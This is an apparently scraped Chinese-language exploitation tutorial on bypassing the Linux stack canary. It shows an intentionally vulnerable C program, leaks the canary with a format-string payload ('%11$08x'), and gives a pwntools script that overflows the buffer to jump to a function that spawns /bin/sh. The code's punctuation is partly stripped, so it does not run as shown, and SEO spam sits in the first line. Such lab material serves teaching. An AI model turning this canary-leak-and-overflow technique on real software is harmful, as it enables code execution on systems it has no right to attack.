如何用图片文字做网站,郑州网站建设外包,免费代刷网站推广,北京推广0x01 canary保护机制
栈溢出保护是一种缓冲区溢出攻击缓解手段#xff0c;当函数存在缓冲区溢出攻击漏洞时#xff0c;攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后#xff0c;函数开始执行的时候会先往栈里插入cookie信息#xff0c;当函数真…0x01 canary保护机制
栈溢出保护是一种缓冲区溢出攻击缓解手段当函数存在缓冲区溢出攻击漏洞时攻击者可以覆盖栈上的返回地址来让shellcode能够得到执行。当启用栈保护后函数开始执行的时候会先往栈里插入cookie信息当函数真正返回的时候会验证cookie信息是否合法如果不合法就停止程序运行。攻击者在覆盖返回地址的时候往往也会将cookie信息给覆盖掉导致栈保护检查失败而阻止shellcode的执行。在Linux中我们将cookie信息称为canary。
0x02 溢出例子
整体思路
找到溢出点用我们的shellcode去覆盖栈里面的数据但添加了canary保护直接覆盖会把canary也覆盖导致程序不能执行所以我们要找出canary在覆盖的时候把canary放在payload里canary覆盖canary这样保证canary没有被覆盖其他栈数据被覆盖就可以过canary保护了。
程序
#includestdio.h
void exploit()
{system(/bin/sh);
}
void func()
{char str[16];read(0, str, 64);printf(str);read(0, str, 64);
}
int main()
{func();return 0;
}利用栈溢出去执行exploit程序编译
gcc -no-pie -fstack-protector -m32 -o 5.exe 5.c启动了栈保护 在func处下个断点 我们看到这个汇编语句这里就是插入canary将canary信息放到eax中然后压入栈中这是在调用第一个read函数前插入的 我们来看看eax值和压入的canary信息在哪里0xffffcffc 记录一下read函数把读取的内容放在那个地址0xffffcfec 我们看一下buf内容和canary地址0x2fe2d00相差多少buf再加上16个字节就到canary的地址了。 查看exploit地址 0x80484cb 查看func的ret语句此时esp的值0x8048554,地址为0xffffd00c和canary相差16个字节 我们要利用read栈溢出去执行exploit函数所以我们要覆盖0xffffd00c这个地址数据内容更换为exploit首地址但是加了canary保护我们在覆盖的时候不能覆盖掉canary信息。所以我们在覆盖栈内数据的时候canary还覆盖成canary信息就行了。
但每次程序执行canary的值都不会相同这又头疼了这个时候我们的格式化输出就有用处了。我们可以将canary输出来然后动态加到我们payload中这样保证每次都是那个canary
我们可以找到canary距栈顶的距离这个是不会变的然后用格式化输出就行了。 利用read将printf要的数据输进去内容%11$08x,这样printf就会打印距栈顶11个就是44个byte然后打印8个16进制数据就是canary信息了
poc
from pwn import *
pprocess(./5.exe)
p.sendline(%11$08x)
canaryp.recv()[:8]
print(canary)
canarycanary.decode(hex)[::-1] //将canary转成16进制
coffset4*4 //read函数距canary16个byte
roffset3*4
raddrp32(0x80484cb) //exploit地址
payloadcoffset*acanaryroffset*araddrp.sendline(payload)p.interactive()执行成功
0x04 总结
加了canary保护在调用函数前会加一个canary信息到栈里面如果我们利用栈溢出覆盖了栈里面的数据覆盖了这个canary信息程序就不能执行。并且每次程序执行这个canary信息都是不同的所以我们不能静态的加入到我们的payload里。
找到exploit函数地址找到buf首地址距canary地址的距离就是有溢出的地方在栈里存放数据的首地址与canary的距离计算ret语句需要的栈数据与canary距离当执行到格式化输出语句时查看当前栈里数据计算canary与栈顶的距离每4byte为1修改poc程序执行